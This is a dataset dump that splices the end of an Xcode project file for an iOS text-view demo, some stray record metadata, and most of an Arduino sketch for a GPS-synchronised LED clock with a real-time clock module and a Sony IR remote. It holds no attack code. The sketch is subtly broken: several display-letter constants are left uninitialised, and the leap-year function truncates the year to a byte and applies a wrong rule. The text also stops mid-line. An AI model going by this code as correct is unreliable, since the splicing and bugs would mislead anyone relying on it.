E9D467A517B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPhone.xib */; }; E9D467AA17B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPad.xib in Resources */ = {isa = PBXBuildFile; fileRef = E9D467A817B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPad.xib */; }; E9D467B217B2A2290060FE91 /* UITextView+Extras.m in Sources */ = {isa = PBXBuildFile; fileRef = E9D467B117B2A2290060FE91 /* UITextView+Extras.m */; }; E9D467B417B2A3520060FE91 /* QuartzCore.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = E9D467B317B2A3520060FE91 /* QuartzCore.framework */; }; /* End PBXBuildFile section */ /* Begin PBXFileReference section */ E9D4678717B2A1830060FE91 /* SLGUITextViewExtrasDemo.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = SLGUITextViewExtrasDemo.app; sourceTree = BUILT_PRODUCTS_DIR; }; E9D4678A17B2A1830060FE91 /* UIKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = UIKit.framework; path = System/Library/Frameworks/UIKit.framework; sourceTree = SDKROOT; }; E9D4678C17B2A1830060FE91 /* Foundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Foundation.framework; path = System/Library/Frameworks/Foundation.framework; sourceTree = SDKROOT; }; E9D4678E17B2A1830060FE91 /* CoreGraphics.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreGraphics.framework; path = System/Library/Frameworks/CoreGraphics.framework; sourceTree = SDKROOT; }; E9D4679217B2A1830060FE91 /* SLGUITextViewExtrasDemo-Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = "SLGUITextViewExtrasDemo-Info.plist"; sourceTree = "<group>"; }; E9D4679417B2A1830060FE91 /* en */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = en; path = en.lproj/InfoPlist.strings; sourceTree = "<group>"; }; E9D4679617B2A1830060FE91 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; }; E9D4679817B2A1830060FE91 /* SLGUITextViewExtrasDemo-Prefix.pch */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "SLGUITextViewExtrasDemo-Prefix.pch"; sourceTree = "<group>"; }; E9D4679917B2A1830060FE91 /* SLGUITextViewExtrasDemoAppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SLGUITextViewExtrasDemoAppDelegate.h; sourceTree = "<group>"; }; E9D4679A17B2A1830060FE91 /* SLGUITextViewExtrasDemoAppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SLGUITextViewExtrasDemoAppDelegate.m; sourceTree = "<group>"; }; E9D4679C17B2A1830060FE91 /* Default.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = Default.png; sourceTree = "<group>"; }; E9D4679E17B2A1830060FE91 /* Default@2x.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "Default@2x.png"; sourceTree = "<group>"; }; E9D467A017B2A1830060FE91 /* Default-568h@2x.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "Default-568h@2x.png"; sourceTree = "<group>"; }; E9D467A217B2A1830060FE91 /* SLGUITextViewExtrasDemoController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SLGUITextViewExtrasDemoController.h; sourceTree = "<group>"; }; E9D467A317B2A1830060FE91 /* SLGUITextViewExtrasDemoController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SLGUITextViewExtrasDemoController.m; sourceTree = "<group>"; }; E9D467A617B2A1830060FE91 /* en */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = en; path = en.lproj/SLGUITextViewExtrasDemo_iPhone.xib; sourceTree = "<group>"; }; E9D467A917B2A1830060FE91 /* en */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = en; path = en.lproj/SLGUITextViewExtrasDemo_iPad.xib; sourceTree = "<group>"; }; E9D467B017B2A2290060FE91 /* UITextView+Extras.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = "UITextView+Extras.h"; path = "../UITextView+Extras.h"; sourceTree = "<group>"; }; E9D467B117B2A2290060FE91 /* UITextView+Extras.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = "UITextView+Extras.m"; path = "../UITextView+Extras.m"; sourceTree = "<group>"; }; E9D467B317B2A3520060FE91 /* QuartzCore.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = QuartzCore.framework; path = System/Library/Frameworks/QuartzCore.framework; sourceTree = SDKROOT; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ E9D4678417B2A1830060FE91 /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( E9D467B417B2A3520060FE91 /* QuartzCore.framework in Frameworks */, E9D4678B17B2A1830060FE91 /* UIKit.framework in Frameworks */, E9D4678D17B2A1830060FE91 /* Foundation.framework in Frameworks */, E9D4678F17B2A1830060FE91 /* CoreGraphics.framework in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXFrameworksBuildPhase section */ /* Begin PBXGroup section */ E9D4677E17B2A1830060FE91 = { isa = PBXGroup; children = ( E9D467B017B2A2290060FE91 /* UITextView+Extras.h */, E9D467B117B2A2290060FE91 /* UITextView+Extras.m */, E9D4679017B2A1830060FE91 /* SLGUITextViewExtrasDemo */, E9D4678917B2A1830060FE91 /* Frameworks */, E9D4678817B2A1830060FE91 /* Products */, ); sourceTree = "<group>"; }; E9D4678817B2A1830060FE91 /* Products */ = { isa = PBXGroup; children = ( E9D4678717B2A1830060FE91 /* SLGUITextViewExtrasDemo.app */, ); name = Products; sourceTree = "<group>"; }; E9D4678917B2A1830060FE91 /* Frameworks */ = { isa = PBXGroup; children = ( E9D467B317B2A3520060FE91 /* QuartzCore.framework */, E9D4678A17B2A1830060FE91 /* UIKit.framework */, E9D4678C17B2A1830060FE91 /* Foundation.framework */, E9D4678E17B2A1830060FE91 /* CoreGraphics.framework */, ); name = Frameworks; sourceTree = "<group>"; }; E9D4679017B2A1830060FE91 /* SLGUITextViewExtrasDemo */ = { isa = PBXGroup; children = ( E9D4679917B2A1830060FE91 /* SLGUITextViewExtrasDemoAppDelegate.h */, E9D4679A17B2A1830060FE91 /* SLGUITextViewExtrasDemoAppDelegate.m */, E9D467A217B2A1830060FE91 /* SLGUITextViewExtrasDemoController.h */, E9D467A317B2A1830060FE91 /* SLGUITextViewExtrasDemoController.m */, E9D467A517B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPhone.xib */, E9D467A817B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPad.xib */, E9D4679117B2A1830060FE91 /* Supporting Files */, ); path = SLGUITextViewExtrasDemo; sourceTree = "<group>"; }; E9D4679117B2A1830060FE91 /* Supporting Files */ = { isa = PBXGroup; children = ( E9D4679217B2A1830060FE91 /* SLGUITextViewExtrasDemo-Info.plist */, E9D4679317B2A1830060FE91 /* InfoPlist.strings */, E9D4679617B2A1830060FE91 /* main.m */, E9D4679817B2A1830060FE91 /* SLGUITextViewExtrasDemo-Prefix.pch */, E9D4679C17B2A1830060FE91 /* Default.png */, E9D4679E17B2A1830060FE91 /* Default@2x.png */, E9D467A017B2A1830060FE91 /* Default-568h@2x.png */, ); name = "Supporting Files"; sourceTree = "<group>"; }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ E9D4678617B2A1830060FE91 /* SLGUITextViewExtrasDemo */ = { isa = PBXNativeTarget; buildConfigurationList = E9D467AD17B2A1830060FE91 /* Build configuration list for PBXNativeTarget "SLGUITextViewExtrasDemo" */; buildPhases = ( E9D4678317B2A1830060FE91 /* Sources */, E9D4678417B2A1830060FE91 /* Frameworks */, E9D4678517B2A1830060FE91 /* Resources */, ); buildRules = ( ); dependencies = ( ); name = SLGUITextViewExtrasDemo; productName = SLGUITextViewExtrasDemo; productReference = E9D4678717B2A1830060FE91 /* SLGUITextViewExtrasDemo.app */; productType = "com.apple.product-type.application"; }; /* End PBXNativeTarget section */ /* Begin PBXProject section */ E9D4677F17B2A1830060FE91 /* Project object */ = { isa = PBXProject; attributes = { CLASSPREFIX = SLG; LastUpgradeCheck = 0460; ORGANIZATIONNAME = "Steven Grace"; }; buildConfigurationList = E9D4678217B2A1830060FE91 /* Build configuration list for PBXProject "SLGUITextViewExtrasDemo" */; compatibilityVersion = "Xcode 3.2"; developmentRegion = English; hasScannedForEncodings = 0; knownRegions = ( en, ); mainGroup = E9D4677E17B2A1830060FE91; productRefGroup = E9D4678817B2A1830060FE91 /* Products */; projectDirPath = ""; projectRoot = ""; targets = ( E9D4678617B2A1830060FE91 /* SLGUITextViewExtrasDemo */, ); }; /* End PBXProject section */ /* Begin PBXResourcesBuildPhase section */ E9D4678517B2A1830060FE91 /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( E9D4679517B2A1830060FE91 /* InfoPlist.strings in Resources */, E9D4679D17B2A1830060FE91 /* Default.png in Resources */, E9D4679F17B2A1830060FE91 /* Default@2x.png in Resources */, E9D467A117B2A1830060FE91 /* Default-568h@2x.png in Resources */, E9D467A717B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPhone.xib in Resources */, E9D467AA17B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPad.xib in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXResourcesBuildPhase section */ /* Begin PBXSourcesBuildPhase section */ E9D4678317B2A1830060FE91 /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( E9D4679717B2A1830060FE91 /* main.m in Sources */, E9D4679B17B2A1830060FE91 /* SLGUITextViewExtrasDemoAppDelegate.m in Sources */, E9D467A417B2A1830060FE91 /* SLGUITextViewExtrasDemoController.m in Sources */, E9D467B217B2A2290060FE91 /* UITextView+Extras.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXSourcesBuildPhase section */ /* Begin PBXVariantGroup section */ E9D4679317B2A1830060FE91 /* InfoPlist.strings */ = { isa = PBXVariantGroup; children = ( E9D4679417B2A1830060FE91 /* en */, ); name = InfoPlist.strings; sourceTree = "<group>"; }; E9D467A517B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPhone.xib */ = { isa = PBXVariantGroup; children = ( E9D467A617B2A1830060FE91 /* en */, ); name = SLGUITextViewExtrasDemo_iPhone.xib; sourceTree = "<group>"; }; E9D467A817B2A1830060FE91 /* SLGUITextViewExtrasDemo_iPad.xib */ = { isa = PBXVariantGroup; children = ( E9D467A917B2A1830060FE91 /* en */, ); name = SLGUITextViewExtrasDemo_iPad.xib; sourceTree = "<group>"; }; /* End PBXVariantGroup section */ /* Begin XCBuildConfiguration section */ E9D467AB17B2A1830060FE91 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; COPY_PHASE_STRIP = NO; GCC_C_LANGUAGE_STANDARD = gnu99; GCC_DYNAMIC_NO_PIC = NO; GCC_OPTIMIZATION_LEVEL = 0; GCC_PREPROCESSOR_DEFINITIONS = ( "DEBUG=1", "$(inherited)", ); GCC_SYMBOLS_PRIVATE_EXTERN = NO; GCC_WARN_ABOUT_RETURN_TYPE = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 6.1; ONLY_ACTIVE_ARCH = YES; SDKROOT = iphoneos; TARGETED_DEVICE_FAMILY = "1,2"; }; name = Debug; }; E9D467AC17B2A1830060FE91 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; COPY_PHASE_STRIP = YES; GCC_C_LANGUAGE_STANDARD = gnu99; GCC_WARN_ABOUT_RETURN_TYPE = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 6.1; OTHER_CFLAGS = "-DNS_BLOCK_ASSERTIONS=1"; SDKROOT = iphoneos; TARGETED_DEVICE_FAMILY = "1,2"; VALIDATE_PRODUCT = YES; }; name = Release; }; E9D467AE17B2A1830060FE91 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { GCC_PRECOMPILE_PREFIX_HEADER = YES; GCC_PREFIX_HEADER = "SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo-Prefix.pch"; INFOPLIST_FILE = "SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo-Info.plist"; PRODUCT_NAME = "$(TARGET_NAME)"; WRAPPER_EXTENSION = app; }; name = Debug; }; E9D467AF17B2A1830060FE91 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { GCC_PRECOMPILE_PREFIX_HEADER = YES; GCC_PREFIX_HEADER = "SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo-Prefix.pch"; INFOPLIST_FILE = "SLGUITextViewExtrasDemo/SLGUITextViewExtrasDemo-Info.plist"; PRODUCT_NAME = "$(TARGET_NAME)"; WRAPPER_EXTENSION = app; }; name = Release; }; /* End XCBuildConfiguration section */ /* Begin XCConfigurationList section */ E9D4678217B2A1830060FE91 /* Build configuration list for PBXProject "SLGUITextViewExtrasDemo" */ = { isa = XCConfigurationList; buildConfigurations = ( E9D467AB17B2A1830060FE91 /* Debug */, E9D467AC17B2A1830060FE91 /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; E9D467AD17B2A1830060FE91 /* Build configuration list for PBXNativeTarget "SLGUITextViewExtrasDemo" */ = { isa = XCConfigurationList; buildConfigurations = ( E9D467AE17B2A1830060FE91 /* Debug */, E9D467AF17B2A1830060FE91 /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; /* End XCConfigurationList section */ }; rootObject = E9D4677F17B2A1830060FE91 /* Project object */; }
16,205
project
pbxproj
en
unknown
unknown
{}
0
{}
00steve00/Super-Accurate-Arduino-Clock
GPS-RTC-Clock.ino
#include <Wire.h> //for RTC comms over I2C #include <SPI.h> //for LED output to Max7219 module //VERSION 7: NANO PIN ASSIGNMENTS, adds simple count up timer, LED dimmer, shows GPS PPS status. // Commit Date: 23-June-2020 // RTC always has UTC time and date //Nano pins: D10-D13, SPI for Max; A3/D17(SQW), A4(SDA) and A5(SCL) for I2C to DS3231 RTC. // D0,D1(serial) D2(PPS) for GPS. D3 for IR receiver interrupt. //STATE MACHINE SETUP// enum { DEBUG, BOOTUP, REG_OPS, TOGGLE_DISPLAY, COUNTER, CHECK_PPS, GPS_INIT, GPS_PPS_SYNC, GPS_NMEA_SYNC} StateMachine; //PIN DEFS & ADDRESSES// const byte RTC_SQW_Pin = 17; //same as A3 pin (using analog pin as digital for RTC SQW) const byte GPS_PPS_Pin = 2; // for receiving the GPS PPS signal const byte ir_pin = 3; //Interrupt pin for IR receiver data pin. const byte ChipSelectPin = 10; // For Max7219. We set the SPI Chip Select/Slave Select Pin here. 10 for uno/nano. 53 for mega const int RTC_I2C_ADDRESS = 0x68; // Must be data type [int] to keep wire.h happy. Sets RTC DS3231 i2C address. //TIMERS AND EDGE DETECTORS// unsigned long GPS_INIT_t0, t0, t1, t2; //for timers byte RTC_SQW_Current = LOW; byte RTC_SQW_Prev = LOW; byte GPS_PPS_Current = HIGH; byte GPS_PPS_Prev = HIGH; //ISR HANDLERS// volatile unsigned int pulseChangeTime; //long or int? volatile byte pulseFlag = 0; //UTC offset handlers// //ie, Time Zones and Daylight Savings (summer) Time // bool UTC_offset_enable = true; // False for UTC time. True for local time. const char offsetStandardHr = -5; const char offsetStandardMin = 0; const char offsetDSTHr = -4; const char offsetDSTMin = 0; const byte startDST[4] = {2,0,3,2}; // {nth,day of week,month,hh} use [0..6] for [Sunday...Saturday] const byte startStandard[4] = {1,0,11,2}; // {nth,day of week,month,hh} [0..6] for [Sunday...Saturday] // set n=5 for 5th or last. Assume DST starts/stops at 2am local time const byte days[] = {0,31,28,31,30,31,30,31,31,30,31,30,31}; // mapping days of the 12 months const int currentCentury = 2000; /* globals that store our offset values*/ int offYYYY; byte offMO; byte offDD; byte offHH; byte offMM; byte offSS; //RTC date+time holders// byte ssRTC, mmRTC, hhRTC, dowRTC, ddRTC, moRTC, ctyRTC, yyRTC; byte countSS, countMM, countHH; //GPS UTC date+time handlers// byte hhGPS, mmGPS, ssGPS, ddGPS, moGPS; int yyyyGPS = 0; bool newGPS_dateAvail = false; bool newGPS_timeAvail = false; bool NMEA_processFlag = false; bool GGA_msg = false; bool RMC_msg = false; bool ZDA_msg = false; bool msgStart = false; bool GPS_sec_primed = false; bool PPS_done = false; byte byteIndex = 0; // SONY REMOTE CONTROL HANDLERS // unsigned int IR_start_bit = 2000; //Start bit threshold (Microseconds) 2408 unsigned int IR_1 = 1000; //Binary 1 threshold (Microseconds) 1184-1240 unsigned int IR_0 = 400; //Binary 0 threshold (Microseconds) 556-640 unsigned int IR_timeout = 2700; bool counter_enable = true; /* ----------------------- MAX STUFF ALL HERE ---------------------------vvvvvv ICSP BLOCK PINOUT 5 3 1 6 4 2 ===MAPPING SPI HARDWARE AND ARDUINO'S TO MAX7219 MODULES=== 7219 MODULE: DIN LOAD(CS) CLK (*n/a*) SPI: MOSI SS SCK MISO UNO/NANO: 11/ICSP-4 10 13/ICSP-3 12/ICSP-1 MEGA: 51/ICSP-4 53 52/ICSP-3 50/ICSP-1 * [CS(SS) can actually be any unused PIN on the uController, but these are the typical conventions.] */ // Max7219 digit bitmaps for digit registers 0x01 to 0x08 const byte dp = 0b10000000; // Decimal Point. Do bitwise OR to combine with any digit to add decimal point const byte blank = 0b00000000; const byte hyphen = 0b00000001; const byte excl = 0b10100000; //exclamation point! // 0b0abcdefg const byte A = 0b01110111; const byte B = 0b00011111; const byte C = 0b01001110; const byte D = 0b00111101; const byte E = 0b01001111; const byte F = 0b01000111; const byte G = 0b01111011; const byte H = 0b00110111; const byte I = 0b00110000; const byte J = 0b00111100; const byte L = 0b00001110; const byte N = 0b00010101; const byte O = 0b00011101; const byte P = 0b01100111; const byte Q = 0b01110011; const byte R = 0b00000101; const byte S = 0b01011011; const byte T = 0b00001111; const byte U = 0b00011100; const byte M, K, V, W, X = 0b00000000; const byte Y = 0b00111011; const byte Z = 0b01101101; byte char_library[28] = {blank,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,hyphen}; //array of digits 0-9 with corresponding segment bit maps byte digit[10] = {0b01111110, //0 0b00110000, //1 0b01101101, //2 0b01111001, //3 0b00110011, //4 0b01011011, //5 0b01011111, //6 0b01110000, //7 0b01111111, //8 0b01110011}; //9 // 0b0abcdefg // -- a // f | | b // g -- // e | | c // d -- //0b0abcdefg // Max7219 Address Registers const byte reg_nonop = 0x00; // generally not used const byte reg_d1 = 0x01; // "Digit0" in the datasheet const byte reg_d2 = 0x02; // "Digit1" in the datasheet const byte reg_d3 = 0x03; // "Digit2" in the datasheet const byte reg_d4 = 0x04; // "Digit3" in the datasheet const byte reg_d5 = 0x05; // "Digit4" in the datasheet const byte reg_d6 = 0x06; // "Digit5" in the datasheet const byte reg_d7 = 0x07; // "Digit6" in the datasheet const byte reg_d8 = 0x08; // "Digit7" in the datasheet const byte reg_decode = 0x09; // 0x00 no decode, to 0xFF decode all; use a bit map to toggle, ie 0b00000010 const byte reg_intensity = 0x0A; // min 0x00, max 0x0F... 16 duty-cycle options. 0x07 middle. const byte reg_scanlimit = 0x0B; // from 0x00 to 0x07 (sets number of digits being scanned) const byte reg_shutdown = 0x0C; // 0x00 shutdown mode, 0x01 normal ops const byte reg_displaytest = 0X0F; // 0x00 normal ops, 0x01 display test mode void SPIwrite (byte reg_address, byte regdata) { //Writes 2 bytes to SPI. This is optimized for Max7219 Comms. digitalWrite(ChipSelectPin,LOW); // take the CS/SS pin low to select the chip SPI.transfer(reg_address); SPI.transfer(regdata); digitalWrite(ChipSelectPin,HIGH); // take the CS/SS pin high to deselect the chip } //end of SPIwrite void setAllDigitsTo (byte set_digit) { //this sets all the digits to set_digit for (byte i=1;i<=8;i++) { SPIwrite(i,set_digit); } //end for } //end of setAllDigitsTo() void initializeMax7219() { //reset the Max by activating shutdown mode SPIwrite(reg_shutdown,0x00); // 0x00 shutdown, 0x01 normal ops //initialize each digit with known values setAllDigitsTo(hyphen); //set intensity SPIwrite(reg_intensity, 0x07); // min 0x00, max 0x0F... 16 duty-cycle options. 0x07 middle. //set scan limit SPIwrite(reg_scanlimit, 0x07); // from 0x00 to 0x07 (sets number of digits being scanned) //set decode SPIwrite(reg_decode, 0b00000000); // built-in decode, from 0x00 [all off] to 0xFF [all on] (bit map toggles digits 1-8). //flash a display test SPIwrite(reg_displaytest, 0x01); // 0x00 normal ops, 0x01 display test mode delay(100); //end the test SPIwrite(reg_displaytest, 0x00); // 0x00 normal ops, 0x01 display test mode delay(100); //exit shutdown mode. resume normal ops SPIwrite(reg_shutdown,0x01); // 0x00 shutdown, 0x01 normal ops delay (100); } //end of initializeMax7219 void maxDisplay(byte a, byte b, byte c, byte d, byte e, byte f, byte g, byte h) { SPIwrite(8,a); SPIwrite(7,b); SPIwrite(6,c); SPIwrite(5,d); SPIwrite(4,e); SPIwrite(3,f); SPIwrite(2,g); SPIwrite(1,h); } //**** ISR ROUTINE ****// void ISR_pulse_detected() { pulseChangeTime = micros(); pulseFlag = 1; } //end of ISR_pulse_detected() //**** SONY REMOTE ROUTINES ****// void processSonyIR(int code) { // Sony IR code processors static byte brightness = 0x07; if (code == 0xCD15) { // displays the date displayRTCDate(); StateMachine = TOGGLE_DISPLAY; t1 = millis(); //sets t1 for date display in TOGGLE_DISPLAY state machine } //end if if (code == 0xCD61) { // toggles UTC vs local time UTC_offset_enable = !UTC_offset_enable; } //end if if (code == 0xCD25) { // Starts counter mode countSS = 0; //we reset all the counter registers to 0 countMM = 0; countHH = 0; displayRTC_timeOnMax(countHH,countMM,countSS); StateMachine = COUNTER; } //end if if (code == 0xCD52) { // turns counter timer on and off counter_enable = !counter_enable; } //end if if (code == 0xCD20) { // Goes into REG_OPS (used to exit counter mode) StateMachine = REG_OPS; } //end if if (code == 0xCD3D) { // does a 4 second check displaying whether PPS signal is active StateMachine = CHECK_PPS; maxDisplay(P,P,S,blank,O,F,F,blank); // set this as default display. will be overwritten if PPS is active t1 = millis(); //sets t1 for date display in CHECK_PPS state machine } //end if if (code == 0xCD76) { // toggles through brightness levels delay(160); // Sony IR transmits 3 signals w/ each button press. This delay avoids repeat commands here. switch (brightness) { case 0x07: brightness = 0x0F; break; case 0x0F: brightness = 0x01; break; case 0x01: brightness = 0x07; break; } // end of switch SPIwrite(reg_intensity, brightness); // min 0x00, max 0x0F... 16 duty-cycle options. 0x07 middle. } //end if if (code == 0xCD10) { // display status of local or UTC time if (UTC_offset_enable) { maxDisplay(L,O,C,A,L,blank,blank,blank); } //end if else { maxDisplay(blank,U,T,C,blank,blank,blank,blank); } //end else StateMachine = TOGGLE_DISPLAY; t1 = millis(); //sets t1 for date display in TOGGLE_DISPLAY state machine } //end if } //end processSonyIR() void SonyIR_analyzer() { // see http://www.righto.com/2010/03/understanding-sony-ir-remote-codes-lirc.html static bool startFlag = false; static byte bitCount = 99; static bool valid = false; static byte state = 0; // {0 startup, 1 initial, 2 process} static unsigned int lastTime = 0; static unsigned int delta = 0; static unsigned int IRvalue = 0; //could experiment with this being 16. might work fine. delta = pulseChangeTime - lastTime; pulseFlag = 0; // reset the global volatile that got us here if (delta > IR_start_bit && delta < IR_timeout) { //we test for a startbit first state = 1; } //end if switch (state) { case 1: startFlag = true; bitCount = 0; valid = false; // even is false, odd is true for bitCount IRvalue = 0; state = 2; break; //end case 1 case 2: if (startFlag && valid) { //we have started, and valid bit -- ie, not a spacer. bitCount++; IRvalue = IRvalue | ( (delta > IR_1) << (bitCount - 1)); valid = !valid; if (bitCount == 20) { //bitfield full. Do final process on IRvalue. processSonyIR(IRvalue); //action we take with IRvalue. startFlag = false; IRvalue = 0; state = 0; bitCount = 99; } //end if } //end if else if (startFlag && !valid) { valid = !valid; } //end elseif break; //end case 2 }// end switch lastTime = pulseChangeTime; } //end SonyIR_analyzer() //**** UNIVERSAL FUNCTIONS ****// byte bcd2dec(byte n) { // Converts binary coded decimal to normal decimal numbers return ((n/16 * 10) + (n % 16)); } //end of bcd2dec() byte dec2bcd(byte n) { //n must be in range [0..99] incl // Converts normal decimal to binary coded decimal. Speed optimized. // return ((n / 10 * 16) + (n % 10)); <----- slower method. // see https://forum.arduino.cc/index.php?topic=185235.msg1372439#msg1372439 uint16_t a = n; byte b = (a*103) >> 10; return n + b*6; } //end of dec2bcd() void clearSerialInputBuffer() { while (Serial.available() > 0) { Serial.read(); }//end while } //end of clearSerialInputBuffer() //**** DISPLAY HANDLERS **** // void displayRTC_timeOnMax(byte rtc_h, byte rtc_m, byte rtc_s) { //receiving [0-99] decimals from caller maxDisplay(digit[(rtc_h/10)%10],digit[rtc_h%10],hyphen, digit[(rtc_m/10)%10],digit[rtc_m%10],hyphen, digit[(rtc_s/10)%10],digit[rtc_s%10]); } //end of displayRTC_timeOnMax() //**** GPS HANDLERS **** // bool PPS_detect() { // top of the second for ublox 6 GPS (default setting) is rising edge of PPS time pulse GPS_PPS_Prev = GPS_PPS_Current; GPS_PPS_Current = digitalRead(GPS_PPS_Pin); return (GPS_PPS_Prev == LOW && GPS_PPS_Current == HIGH); //returns true if PPS has gone high! } // end of PPS_detect() void processNMEA() { byte inByte; if (Serial.available() > 0) { //do all of this only if byte ready to read inByte = Serial.read(); byteIndex++; // we only increment index if we read a byte switch (byteIndex) { case 1 ... 3: break; case 4: GGA_msg = (inByte == 'G'); RMC_msg = (inByte == 'R'); ZDA_msg = (inByte == 'Z'); break; case 5: GGA_msg = (GGA_msg && inByte == 'G'); RMC_msg = (RMC_msg && inByte == 'M'); ZDA_msg = (ZDA_msg && inByte == 'D'); break; case 6: GGA_msg = (GGA_msg && inByte == 'A'); RMC_msg = (RMC_msg && inByte == 'C'); ZDA_msg = (ZDA_msg && inByte == 'A'); NMEA_processFlag = (GGA_msg || RMC_msg || ZDA_msg); // if we have any of these, we keep processing break; case 7: break; case 8: // hour tens hhGPS = (inByte - '0')*10; break; case 9: //hour units hhGPS += (inByte - '0'); break; case 10: // min tens mmGPS = (inByte - '0')*10; break; case 11: //min units mmGPS += (inByte - '0'); break; case 12: // sec tens ssGPS = (inByte - '0')*10; break; case 13: //sec units ssGPS += (inByte - '0'); //**AT THIS POINT WE HAVE GPS TIME**// CAN ACTUALLY UPDATE RTC! newGPS_timeAvail = true; NMEA_processFlag = ZDA_msg; //if we have ZDA, this is true and we keep processing. break; case 14 ... 17: //** WILL NEED TO TUNE THIS TO ACTUAL OUTPUT OF NEO 6M break; case 18: //day tens ddGPS = (inByte - '0')*10; break; case 19: //day units ddGPS += (inByte - '0'); break; case 20: break; case 21: //mo tens moGPS = (inByte - '0')*10; break; case 22: //mo units moGPS += (inByte - '0'); break; case 23: break; case 24: yyyyGPS = (inByte - '0')*1000; break; case 25: yyyyGPS += (inByte - '0')*100; break; case 26: yyyyGPS += (inByte - '0')*10; break; case 27: yyyyGPS += (inByte - '0'); newGPS_dateAvail = true; //all date fields now read NMEA_processFlag = false; //and no need to process further break; default: NMEA_processFlag = false; } //end switch byteIndex } //end if Serial available } //end of processNMEA /* // 123456789012345678901234567||| [27] GPS unit gives 2 decimals on time // $GPGGA,hhmmss.tt,... // /* $GPGGA, $GPRMC: $GPRMC,hhmmss.tt,... // $GPZDA: $GPZDA,hhmmss.tt,dd,mm,yyyy,... */ //**** UTC TIMEZONE OFFSET AND DST HANDLERS ****// void offsetAdj(int y, byte mo, byte d, byte h, byte m, char offsetHr, char offsetMin) { offMM = (m + offsetMin + 120) % 60; if (m + offsetMin > 59) { offsetHr ++; } if (m + offsetMin < 0) { offsetHr --; } offHH = (h + offsetHr + 24) % 24; offDD = d; offYYYY = y; offMO = mo; if (offsetHr + h < 0) { //Do a decrement if (d > 1) { offDD--; } else { //rollover offDD = days[((mo+11-1)%12+1)] + (mo==2 && isLeap(y)); offMO--; if (mo == 1) { offMO = 12; offYYYY = y - 1; }//end if } } //end if for decrement day if (offsetHr + h >= 24) { // Do an increment if (d == (days[mo] + (mo == 2 && isLeap(y)))) { //ie, if d is last day of month offDD = 1; offMO++; if (mo == 12) { offMO = 1; offYYYY = y + 1; } }//end if else { offDD = d+1; } } //end if increment day } //end offsetAdj bool isLeap (byte y) { return ((y%4==0) || (!(y%100==0) && (y%400==0))); } //end 